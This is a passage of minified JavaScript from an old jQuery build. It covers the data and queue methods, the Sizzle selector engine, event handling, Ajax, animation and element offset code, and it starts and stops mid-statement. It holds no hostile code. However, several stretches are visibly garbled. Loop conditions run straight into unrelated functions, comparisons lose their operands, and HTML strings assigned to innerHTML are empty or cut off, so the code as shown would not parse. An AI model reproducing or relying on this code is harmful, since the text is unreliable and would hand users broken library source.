F===g&&H[1]?this.data(H[0]):F}else{return this.trigger("setData"+H[1]+"!",[H[0],G]).each(function(){o.data(this,E,G)})}},removeData:function(E){return this.each(function(){o.removeData(this,E)})},queue:function(E,F){if(typeof E!=="string"){F=E;E="fx"}if(F===g){return o.queue(this[0],E)}return this.each(function(){var G=o.queue(this,E,F);if(E=="fx"&&G.length==1){G[0].call(this)}})},dequeue:function(E){return this.each(function(){o.dequeue(this,E)})}}); -/* - * Sizzle CSS Selector Engine - v0.9.3 - * Copyright 2009, The Dojo Foundation - * Released under the MIT, BSD, and GPL Licenses. - * More information: http://sizzlejs.com/ - */ -(function(){var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,L=0,H=Object.prototype.toString;var F=function(Y,U,ab,ac){ab=ab||[];U=U||document;if(U.nodeType!==1&&U.nodeType!==9){return[]}if(!Y||typeof Y!=="string"){return ab}var Z=[],W,af,ai,T,ad,V,X=true;R.lastIndex=0;while((W=R.exec(Y))!==null){Z.push(W[1]);if(W[2]){V=RegExp.rightContext;break}}if(Z.length>1&&M.exec(Y)){if(Z.length===2&&I.relative[Z[0]]){af=J(Z[0]+Z[1],U)}else{af=I.relative[Z[0]]?[U]:F(Z.shift(),U);while(Z.length){Y=Z.shift();if(I.relative[Y]){Y+=Z.shift()}af=J(Y,af)}}}else{var ae=ac?{expr:Z.pop(),set:E(ac)}:F.find(Z.pop(),Z.length===1&&U.parentNode?U.parentNode:U,Q(U));af=F.filter(ae.expr,ae.set);if(Z.length>0){ai=E(af)}else{X=false}while(Z.length){var ah=Z.pop(),ag=ah;if(!I.relative[ah]){ah=""}else{ag=Z.pop()}if(ag==null){ag=U}I.relative[ah](ai,ag,Q(U))}}if(!ai){ai=af}if(!ai){throw"Syntax error, unrecognized expression: "+(ah||Y)}if(H.call(ai)==="[object Array]"){if(!X){ab.push.apply(ab,ai)}else{if(U.nodeType===1){for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&(ai[aa]===true||ai[aa].nodeType===1&&K(U,ai[aa]))){ab.push(af[aa])}}}else{for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&ai[aa].nodeType===1){ab.push(af[aa])}}}}}else{E(ai,ab)}if(V){F(V,U,ab,ac);if(G){hasDuplicate=false;ab.sort(G);if(hasDuplicate){for(var aa=1;aa":function(Z,U,aa){var X=typeof U==="string";if(X&&!/\W/.test(U)){U=aa?U:U.toUpperCase();for(var V=0,T=Z.length;V=0)){if(!V){T.push(Y)}}else{if(V){U[X]=false}}}}return false},ID:function(T){return T[1].replace(/\\/g,"")},TAG:function(U,T){for(var V=0;T[V]===false;V++){}return T[V]&&Q(T[V])?U[1]:U[1].toUpperCase()},CHILD:function(T){if(T[1]=="nth"){var U=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2]=="even"&&"2n"||T[2]=="odd"&&"2n+1"||!/\D/.test(T[2])&&"0n+"+T[2]||T[2]);T[2]=(U[1]+(U[2]||1))-0;T[3]=U[3]-0}T[0]=L++;return T},ATTR:function(X,U,V,T,Y,Z){var W=X[1].replace(/\\/g,"");if(!Z&&I.attrMap[W]){X[1]=I.attrMap[W]}if(X[2]==="~="){X[4]=" "+X[4]+" "}return X},PSEUDO:function(X,U,V,T,Y){if(X[1]==="not"){if(X[3].match(R).length>1||/^\w/.test(X[3])){X[3]=F(X[3],null,null,U)}else{var W=F.filter(X[3],U,V,true^Y);if(!V){T.push.apply(T,W)}return false}}else{if(I.match.POS.test(X[0])||I.match.CHILD.test(X[0])){return true}}return X},POS:function(T){T.unshift(true);return T}},filters:{enabled:function(T){return T.disabled===false&&T.type!=="hidden"},disabled:function(T){return T.disabled===true},checked:function(T){return T.checked===true},selected:function(T){T.parentNode.selectedIndex;return T.selected===true},parent:function(T){return !!T.firstChild},empty:function(T){return !T.firstChild},has:function(V,U,T){return !!F(T[3],V).length},header:function(T){return/h\d/i.test(T.nodeName)},text:function(T){return"text"===T.type},radio:function(T){return"radio"===T.type},checkbox:function(T){return"checkbox"===T.type},file:function(T){return"file"===T.type},password:function(T){return"password"===T.type},submit:function(T){return"submit"===T.type},image:function(T){return"image"===T.type},reset:function(T){return"reset"===T.type},button:function(T){return"button"===T.type||T.nodeName.toUpperCase()==="BUTTON"},input:function(T){return/input|select|textarea|button/i.test(T.nodeName)}},setFilters:{first:function(U,T){return T===0},last:function(V,U,T,W){return U===W.length-1},even:function(U,T){return T%2===0},odd:function(U,T){return T%2===1},lt:function(V,U,T){return UT[3]-0},nth:function(V,U,T){return T[3]-0==U},eq:function(V,U,T){return T[3]-0==U}},filter:{PSEUDO:function(Z,V,W,aa){var U=V[1],X=I.filters[U];if(X){return X(Z,W,V,aa)}else{if(U==="contains"){return(Z.textContent||Z.innerText||"").indexOf(V[3])>=0}else{if(U==="not"){var Y=V[3];for(var W=0,T=Y.length;W=0)}}},ID:function(U,T){return U.nodeType===1&&U.getAttribute("id")===T},TAG:function(U,T){return(T==="*"&&U.nodeType===1)||U.nodeName===T},CLASS:function(U,T){return(" "+(U.className||U.getAttribute("class"))+" ").indexOf(T)>-1},ATTR:function(Y,W){var V=W[1],T=I.attrHandle[V]?I.attrHandle[V](Y):Y[V]!=null?Y[V]:Y.getAttribute(V),Z=T+"",X=W[2],U=W[4];return T==null?X==="!=":X==="="?Z===U:X==="*="?Z.indexOf(U)>=0:X==="~="?(" "+Z+" ").indexOf(U)>=0:!U?Z&&T!==false:X==="!="?Z!=U:X==="^="?Z.indexOf(U)===0:X==="$="?Z.substr(Z.length-U.length)===U:X==="|="?Z===U||Z.substr(0,U.length+1)===U+"-":false},POS:function(X,U,V,Y){var T=U[2],W=I.setFilters[T];if(W){return W(X,V,U,Y)}}}};var M=I.match.POS;for(var O in I.match){I.match[O]=RegExp(I.match[O].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var E=function(U,T){U=Array.prototype.slice.call(U);if(T){T.push.apply(T,U);return T}return U};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(N){E=function(X,W){var U=W||[];if(H.call(X)==="[object Array]"){Array.prototype.push.apply(U,X)}else{if(typeof X.length==="number"){for(var V=0,T=X.length;V";var T=document.documentElement;T.insertBefore(U,T.firstChild);if(!!document.getElementById(V)){I.find.ID=function(X,Y,Z){if(typeof Y.getElementById!=="undefined"&&!Z){var W=Y.getElementById(X[1]);return W?W.id===X[1]||typeof W.getAttributeNode!=="undefined"&&W.getAttributeNode("id").nodeValue===X[1]?[W]:g:[]}};I.filter.ID=function(Y,W){var X=typeof Y.getAttributeNode!=="undefined"&&Y.getAttributeNode("id");return Y.nodeType===1&&X&&X.nodeValue===W}}T.removeChild(U)})();(function(){var T=document.createElement("div");T.appendChild(document.createComment(""));if(T.getElementsByTagName("*").length>0){I.find.TAG=function(U,Y){var X=Y.getElementsByTagName(U[1]);if(U[1]==="*"){var W=[];for(var V=0;X[V];V++){if(X[V].nodeType===1){W.push(X[V])}}X=W}return X}}T.innerHTML="";if(T.firstChild&&typeof T.firstChild.getAttribute!=="undefined"&&T.firstChild.getAttribute("href")!=="#"){I.attrHandle.href=function(U){return U.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var T=F,U=document.createElement("div");U.innerHTML="

    ";if(U.querySelectorAll&&U.querySelectorAll(".TEST").length===0){return}F=function(Y,X,V,W){X=X||document;if(!W&&X.nodeType===9&&!Q(X)){try{return E(X.querySelectorAll(Y),V)}catch(Z){}}return T(Y,X,V,W)};F.find=T.find;F.filter=T.filter;F.selectors=T.selectors;F.matches=T.matches})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var T=document.createElement("div");T.innerHTML="
    ";if(T.getElementsByClassName("e").length===0){return}T.lastChild.className="e";if(T.getElementsByClassName("e").length===1){return}I.order.splice(1,0,"CLASS");I.find.CLASS=function(U,V,W){if(typeof V.getElementsByClassName!=="undefined"&&!W){return V.getElementsByClassName(U[1])}}})()}function P(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W0){X=T;break}}}T=T[U]}ad[W]=X}}}var K=document.compareDocumentPosition?function(U,T){return U.compareDocumentPosition(T)&16}:function(U,T){return U!==T&&(U.contains?U.contains(T):true)};var Q=function(T){return T.nodeType===9&&T.documentElement.nodeName!=="HTML"||!!T.ownerDocument&&Q(T.ownerDocument)};var J=function(T,aa){var W=[],X="",Y,V=aa.nodeType?[aa]:aa;while((Y=I.match.PSEUDO.exec(T))){X+=Y[0];T=T.replace(I.match.PSEUDO,"")}T=I.relative[T]?T+"*":T;for(var Z=0,U=V.length;Z0||T.offsetHeight>0};F.selectors.filters.animated=function(T){return o.grep(o.timers,function(U){return T===U.elem}).length};o.multiFilter=function(V,T,U){if(U){V=":not("+V+")"}return F.matches(V,T)};o.dir=function(V,U){var T=[],W=V[U];while(W&&W!=document){if(W.nodeType==1){T.push(W)}W=W[U]}return T};o.nth=function(X,T,V,W){T=T||1;var U=0;for(;X;X=X[V]){if(X.nodeType==1&&++U==T){break}}return X};o.sibling=function(V,U){var T=[];for(;V;V=V.nextSibling){if(V.nodeType==1&&V!=U){T.push(V)}}return T};return;l.Sizzle=F})();o.event={add:function(I,F,H,K){if(I.nodeType==3||I.nodeType==8){return}if(I.setInterval&&I!=l){I=l}if(!H.guid){H.guid=this.guid++}if(K!==g){var G=H;H=this.proxy(G);H.data=K}var E=o.data(I,"events")||o.data(I,"events",{}),J=o.data(I,"handle")||o.data(I,"handle",function(){return typeof o!=="undefined"&&!o.event.triggered?o.event.handle.apply(arguments.callee.elem,arguments):g});J.elem=I;o.each(F.split(/\s+/),function(M,N){var O=N.split(".");N=O.shift();H.type=O.slice().sort().join(".");var L=E[N];if(o.event.specialAll[N]){o.event.specialAll[N].setup.call(I,K,O)}if(!L){L=E[N]={};if(!o.event.special[N]||o.event.special[N].setup.call(I,K,O)===false){if(I.addEventListener){I.addEventListener(N,J,false)}else{if(I.attachEvent){I.attachEvent("on"+N,J)}}}}L[H.guid]=H;o.event.global[N]=true});I=null},guid:1,global:{},remove:function(K,H,J){if(K.nodeType==3||K.nodeType==8){return}var G=o.data(K,"events"),F,E;if(G){if(H===g||(typeof H==="string"&&H.charAt(0)==".")){for(var I in G){this.remove(K,I+(H||""))}}else{if(H.type){J=H.handler;H=H.type}o.each(H.split(/\s+/),function(M,O){var Q=O.split(".");O=Q.shift();var N=RegExp("(^|\\.)"+Q.slice().sort().join(".*\\.")+"(\\.|$)");if(G[O]){if(J){delete G[O][J.guid]}else{for(var P in G[O]){if(N.test(G[O][P].type)){delete G[O][P]}}}if(o.event.specialAll[O]){o.event.specialAll[O].teardown.call(K,Q)}for(F in G[O]){break}if(!F){if(!o.event.special[O]||o.event.special[O].teardown.call(K,Q)===false){if(K.removeEventListener){K.removeEventListener(O,o.data(K,"handle"),false)}else{if(K.detachEvent){K.detachEvent("on"+O,o.data(K,"handle"))}}}F=null;delete G[O]}}})}for(F in G){break}if(!F){var L=o.data(K,"handle");if(L){L.elem=null}o.removeData(K,"events");o.removeData(K,"handle")}}},trigger:function(I,K,H,E){var G=I.type||I;if(!E){I=typeof I==="object"?I[h]?I:o.extend(o.Event(G),I):o.Event(G);if(G.indexOf("!")>=0){I.type=G=G.slice(0,-1);I.exclusive=true}if(!H){I.stopPropagation();if(this.global[G]){o.each(o.cache,function(){if(this.events&&this.events[G]){o.event.trigger(I,K,this.handle.elem)}})}}if(!H||H.nodeType==3||H.nodeType==8){return g}I.result=g;I.target=H;K=o.makeArray(K);K.unshift(I)}I.currentTarget=H;var J=o.data(H,"handle");if(J){J.apply(H,K)}if((!H[G]||(o.nodeName(H,"a")&&G=="click"))&&H["on"+G]&&H["on"+G].apply(H,K)===false){I.result=false}if(!E&&H[G]&&!I.isDefaultPrevented()&&!(o.nodeName(H,"a")&&G=="click")){this.triggered=true;try{H[G]()}catch(L){}}this.triggered=false;if(!I.isPropagationStopped()){var F=H.parentNode||H.ownerDocument;if(F){o.event.trigger(I,K,F,true)}}},handle:function(K){var J,E;K=arguments[0]=o.event.fix(K||l.event);K.currentTarget=this;var L=K.type.split(".");K.type=L.shift();J=!L.length&&!K.exclusive;var I=RegExp("(^|\\.)"+L.slice().sort().join(".*\\.")+"(\\.|$)");E=(o.data(this,"events")||{})[K.type];for(var G in E){var H=E[G];if(J||I.test(H.type)){K.handler=H;K.data=H.data;var F=H.apply(this,arguments);if(F!==g){K.result=F;if(F===false){K.preventDefault();K.stopPropagation()}}if(K.isImmediatePropagationStopped()){break}}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(H){if(H[h]){return H}var F=H;H=o.Event(F);for(var G=this.props.length,J;G;){J=this.props[--G];H[J]=F[J]}if(!H.target){H.target=H.srcElement||document}if(H.target.nodeType==3){H.target=H.target.parentNode}if(!H.relatedTarget&&H.fromElement){H.relatedTarget=H.fromElement==H.target?H.toElement:H.fromElement}if(H.pageX==null&&H.clientX!=null){var I=document.documentElement,E=document.body;H.pageX=H.clientX+(I&&I.scrollLeft||E&&E.scrollLeft||0)-(I.clientLeft||0);H.pageY=H.clientY+(I&&I.scrollTop||E&&E.scrollTop||0)-(I.clientTop||0)}if(!H.which&&((H.charCode||H.charCode===0)?H.charCode:H.keyCode)){H.which=H.charCode||H.keyCode}if(!H.metaKey&&H.ctrlKey){H.metaKey=H.ctrlKey}if(!H.which&&H.button){H.which=(H.button&1?1:(H.button&2?3:(H.button&4?2:0)))}return H},proxy:function(F,E){E=E||function(){return F.apply(this,arguments)};E.guid=F.guid=F.guid||E.guid||this.guid++;return E},special:{ready:{setup:B,teardown:function(){}}},specialAll:{live:{setup:function(E,F){o.event.add(this,F[0],c)},teardown:function(G){if(G.length){var E=0,F=RegExp("(^|\\.)"+G[0]+"(\\.|$)");o.each((o.data(this,"events").live||{}),function(){if(F.test(this.type)){E++}});if(E<1){o.event.remove(this,G[0],c)}}}}}};o.Event=function(E){if(!this.preventDefault){return new o.Event(E)}if(E&&E.type){this.originalEvent=E;this.type=E.type}else{this.type=E}this.timeStamp=e();this[h]=true};function k(){return false}function u(){return true}o.Event.prototype={preventDefault:function(){this.isDefaultPrevented=u;var E=this.originalEvent;if(!E){return}if(E.preventDefault){E.preventDefault()}E.returnValue=false},stopPropagation:function(){this.isPropagationStopped=u;var E=this.originalEvent;if(!E){return}if(E.stopPropagation){E.stopPropagation()}E.cancelBubble=true},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=u;this.stopPropagation()},isDefaultPrevented:k,isPropagationStopped:k,isImmediatePropagationStopped:k};var a=function(F){var E=F.relatedTarget;while(E&&E!=this){try{E=E.parentNode}catch(G){E=this}}if(E!=this){F.type=F.data;o.event.handle.apply(this,arguments)}};o.each({mouseover:"mouseenter",mouseout:"mouseleave"},function(F,E){o.event.special[E]={setup:function(){o.event.add(this,F,a,E)},teardown:function(){o.event.remove(this,F,a)}}});o.fn.extend({bind:function(F,G,E){return F=="unload"?this.one(F,G,E):this.each(function(){o.event.add(this,F,E||G,E&&G)})},one:function(G,H,F){var E=o.event.proxy(F||H,function(I){o(this).unbind(I,E);return(F||H).apply(this,arguments)});return this.each(function(){o.event.add(this,G,E,F&&H)})},unbind:function(F,E){return this.each(function(){o.event.remove(this,F,E)})},trigger:function(E,F){return this.each(function(){o.event.trigger(E,F,this)})},triggerHandler:function(E,G){if(this[0]){var F=o.Event(E);F.preventDefault();F.stopPropagation();o.event.trigger(F,G,this[0]);return F.result}},toggle:function(G){var E=arguments,F=1;while(F=0){var E=G.slice(I,G.length);G=G.slice(0,I)}var H="GET";if(J){if(o.isFunction(J)){K=J;J=null}else{if(typeof J==="object"){J=o.param(J);H="POST"}}}var F=this;o.ajax({url:G,type:H,dataType:"html",data:J,complete:function(M,L){if(L=="success"||L=="notmodified"){F.html(E?o("
    ").append(M.responseText.replace(//g,"")).find(E):M.responseText)}if(K){F.each(K,[M.responseText,L,M])}}});return this},serialize:function(){return o.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?o.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type))}).map(function(E,F){var G=o(this).val();return G==null?null:o.isArray(G)?o.map(G,function(I,H){return{name:F.name,value:I}}):{name:F.name,value:G}}).get()}});o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(E,F){o.fn[F]=function(G){return this.bind(F,G)}});var r=e();o.extend({get:function(E,G,H,F){if(o.isFunction(G)){H=G;G=null}return o.ajax({type:"GET",url:E,data:G,success:H,dataType:F})},getScript:function(E,F){return o.get(E,null,F,"script")},getJSON:function(E,F,G){return o.get(E,F,G,"json")},post:function(E,G,H,F){if(o.isFunction(G)){H=G;G={}}return o.ajax({type:"POST",url:E,data:G,success:H,dataType:F})},ajaxSetup:function(E){o.extend(o.ajaxSettings,E)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return l.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest()},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/=\?(&|$)/g,R,V,G=M.type.toUpperCase();if(M.data&&M.processData&&typeof M.data!=="string"){M.data=o.param(M.data)}if(M.dataType=="jsonp"){if(G=="GET"){if(!M.url.match(F)){M.url+=(M.url.match(/\?/)?"&":"?")+(M.jsonp||"callback")+"=?"}}else{if(!M.data||!M.data.match(F)){M.data=(M.data?M.data+"&":"")+(M.jsonp||"callback")+"=?"}}M.dataType="json"}if(M.dataType=="json"&&(M.data&&M.data.match(F)||M.url.match(F))){W="jsonp"+r++;if(M.data){M.data=(M.data+"").replace(F,"="+W+"$1")}M.url=M.url.replace(F,"="+W+"$1");M.dataType="script";l[W]=function(X){V=X;I();L();l[W]=g;try{delete l[W]}catch(Y){}if(H){H.removeChild(T)}}}if(M.dataType=="script"&&M.cache==null){M.cache=false}if(M.cache===false&&G=="GET"){var E=e();var U=M.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+E+"$2");M.url=U+((U==M.url)?(M.url.match(/\?/)?"&":"?")+"_="+E:"")}if(M.data&&G=="GET"){M.url+=(M.url.match(/\?/)?"&":"?")+M.data;M.data=null}if(M.global&&!o.active++){o.event.trigger("ajaxStart")}var Q=/^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);if(M.dataType=="script"&&G=="GET"&&Q&&(Q[1]&&Q[1]!=location.protocol||Q[2]!=location.host)){var H=document.getElementsByTagName("head")[0];var T=document.createElement("script");T.src=M.url;if(M.scriptCharset){T.charset=M.scriptCharset}if(!W){var O=false;T.onload=T.onreadystatechange=function(){if(!O&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){O=true;I();L();T.onload=T.onreadystatechange=null;H.removeChild(T)}}}H.appendChild(T);return g}var K=false;var J=M.xhr();if(M.username){J.open(G,M.url,M.async,M.username,M.password)}else{J.open(G,M.url,M.async)}try{if(M.data){J.setRequestHeader("Content-Type",M.contentType)}if(M.ifModified){J.setRequestHeader("If-Modified-Since",o.lastModified[M.url]||"Thu, 01 Jan 1970 00:00:00 GMT")}J.setRequestHeader("X-Requested-With","XMLHttpRequest");J.setRequestHeader("Accept",M.dataType&&M.accepts[M.dataType]?M.accepts[M.dataType]+", */*":M.accepts._default)}catch(S){}if(M.beforeSend&&M.beforeSend(J,M)===false){if(M.global&&!--o.active){o.event.trigger("ajaxStop")}J.abort();return false}if(M.global){o.event.trigger("ajaxSend",[J,M])}var N=function(X){if(J.readyState==0){if(P){clearInterval(P);P=null;if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}}else{if(!K&&J&&(J.readyState==4||X=="timeout")){K=true;if(P){clearInterval(P);P=null}R=X=="timeout"?"timeout":!o.httpSuccess(J)?"error":M.ifModified&&o.httpNotModified(J,M.url)?"notmodified":"success";if(R=="success"){try{V=o.httpData(J,M.dataType,M)}catch(Z){R="parsererror"}}if(R=="success"){var Y;try{Y=J.getResponseHeader("Last-Modified")}catch(Z){}if(M.ifModified&&Y){o.lastModified[M.url]=Y}if(!W){I()}}else{o.handleError(M,J,R)}L();if(X){J.abort()}if(M.async){J=null}}}};if(M.async){var P=setInterval(N,13);if(M.timeout>0){setTimeout(function(){if(J&&!K){N("timeout")}},M.timeout)}}try{J.send(M.data)}catch(S){o.handleError(M,J,null,S)}if(!M.async){N()}function I(){if(M.success){M.success(V,R)}if(M.global){o.event.trigger("ajaxSuccess",[J,M])}}function L(){if(M.complete){M.complete(J,R)}if(M.global){o.event.trigger("ajaxComplete",[J,M])}if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}return J},handleError:function(F,H,E,G){if(F.error){F.error(H,E,G)}if(F.global){o.event.trigger("ajaxError",[H,F,G])}},active:0,httpSuccess:function(F){try{return !F.status&&location.protocol=="file:"||(F.status>=200&&F.status<300)||F.status==304||F.status==1223}catch(E){}return false},httpNotModified:function(G,E){try{var H=G.getResponseHeader("Last-Modified");return G.status==304||H==o.lastModified[E]}catch(F){}return false},httpData:function(J,H,G){var F=J.getResponseHeader("content-type"),E=H=="xml"||!H&&F&&F.indexOf("xml")>=0,I=E?J.responseXML:J.responseText;if(E&&I.documentElement.tagName=="parsererror"){throw"parsererror"}if(G&&G.dataFilter){I=G.dataFilter(I,H)}if(typeof I==="string"){if(H=="script"){o.globalEval(I)}if(H=="json"){I=l["eval"]("("+I+")")}}return I},param:function(E){var G=[];function H(I,J){G[G.length]=encodeURIComponent(I)+"="+encodeURIComponent(J)}if(o.isArray(E)||E.jquery){o.each(E,function(){H(this.name,this.value)})}else{for(var F in E){if(o.isArray(E[F])){o.each(E[F],function(){H(F,this)})}else{H(F,o.isFunction(E[F])?E[F]():E[F])}}}return G.join("&").replace(/%20/g,"+")}});var m={},n,d=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function t(F,E){var G={};o.each(d.concat.apply([],d.slice(0,E)),function(){G[this]=F});return G}o.fn.extend({show:function(J,L){if(J){return this.animate(t("show",3),J,L)}else{for(var H=0,F=this.length;H").appendTo("body");K=I.css("display");if(K==="none"){K="block"}I.remove();m[G]=K}o.data(this[H],"olddisplay",K)}}for(var H=0,F=this.length;H=0;H--){if(G[H].elem==this){if(E){G[H](true)}G.splice(H,1)}}});if(!E){this.dequeue()}return this}});o.each({slideDown:t("show",1),slideUp:t("hide",1),slideToggle:t("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(E,F){o.fn[E]=function(G,H){return this.animate(F,G,H)}});o.extend({speed:function(G,H,F){var E=typeof G==="object"?G:{complete:F||!F&&H||o.isFunction(G)&&G,duration:G,easing:F&&H||H&&!o.isFunction(H)&&H};E.duration=o.fx.off?0:typeof E.duration==="number"?E.duration:o.fx.speeds[E.duration]||o.fx.speeds._default;E.old=E.complete;E.complete=function(){if(E.queue!==false){o(this).dequeue()}if(o.isFunction(E.old)){E.old.call(this)}};return E},easing:{linear:function(G,H,E,F){return E+F*G},swing:function(G,H,E,F){return((-Math.cos(G*Math.PI)/2)+0.5)*F+E}},timers:[],fx:function(F,E,G){this.options=E;this.elem=F;this.prop=G;if(!E.orig){E.orig={}}}});o.fx.prototype={update:function(){if(this.options.step){this.options.step.call(this.elem,this.now,this)}(o.fx.step[this.prop]||o.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style){this.elem.style.display="block"}},cur:function(F){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop]}var E=parseFloat(o.css(this.elem,this.prop,F));return E&&E>-10000?E:parseFloat(o.curCSS(this.elem,this.prop))||0},custom:function(I,H,G){this.startTime=e();this.start=I;this.end=H;this.unit=G||this.unit||"px";this.now=this.start;this.pos=this.state=0;var E=this;function F(J){return E.step(J)}F.elem=this.elem;if(F()&&o.timers.push(F)&&!n){n=setInterval(function(){var K=o.timers;for(var J=0;J=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var E=true;for(var F in this.options.curAnim){if(this.options.curAnim[F]!==true){E=false}}if(E){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(o.css(this.elem,"display")=="none"){this.elem.style.display="block"}}if(this.options.hide){o(this.elem).hide()}if(this.options.hide||this.options.show){for(var I in this.options.curAnim){o.attr(this.elem.style,I,this.options.orig[I])}}this.options.complete.call(this.elem)}return false}else{var J=G-this.startTime;this.state=J/this.options.duration;this.pos=o.easing[this.options.easing||(o.easing.swing?"swing":"linear")](this.state,J,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update()}return true}};o.extend(o.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(E){o.attr(E.elem.style,"opacity",E.now)},_default:function(E){if(E.elem.style&&E.elem.style[E.prop]!=null){E.elem.style[E.prop]=E.now+E.unit}else{E.elem[E.prop]=E.now}}}});if(document.documentElement.getBoundingClientRect){o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}var G=this[0].getBoundingClientRect(),J=this[0].ownerDocument,F=J.body,E=J.documentElement,L=E.clientTop||F.clientTop||0,K=E.clientLeft||F.clientLeft||0,I=G.top+(self.pageYOffset||o.boxModel&&E.scrollTop||F.scrollTop)-L,H=G.left+(self.pageXOffset||o.boxModel&&E.scrollLeft||F.scrollLeft)-K;return{top:I,left:H}}}else{o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}o.offset.initialized||o.offset.initialize();var J=this[0],G=J.offsetParent,F=J,O=J.ownerDocument,M,H=O.documentElement,K=O.body,L=O.defaultView,E=L.getComputedStyle(J,null),N=J.offsetTop,I=J.offsetLeft;while((J=J.parentNode)&&J!==K&&J!==H){M=L.getComputedStyle(J,null);N-=J.scrollTop,I-=J.scrollLeft;if(J===G){N+=J.offsetTop,I+=J.offsetLeft;if(o.offset.doesNotAddBorder&&!(o.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(J.tagName))){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}F=G,G=J.offsetParent}if(o.offset.subtractsBorderForOverflowNotVisible&&M.overflow!=="visible"){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}E=M}if(E.position==="relative"||E.position==="static"){N+=K.offsetTop,I+=K.offsetLeft}if(E.position==="fixed"){N+=Math.max(H.scrollTop,K.scrollTop),I+=Math.max(H.scrollLeft,K.scrollLeft)}return{top:N,left:I}}}o.offset={initialize:function(){if(this.initialized){return}var L=document.body,F=document.createElement("div"),H,G,N,I,M,E,J=L.style.marginTop,K='
    ';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return 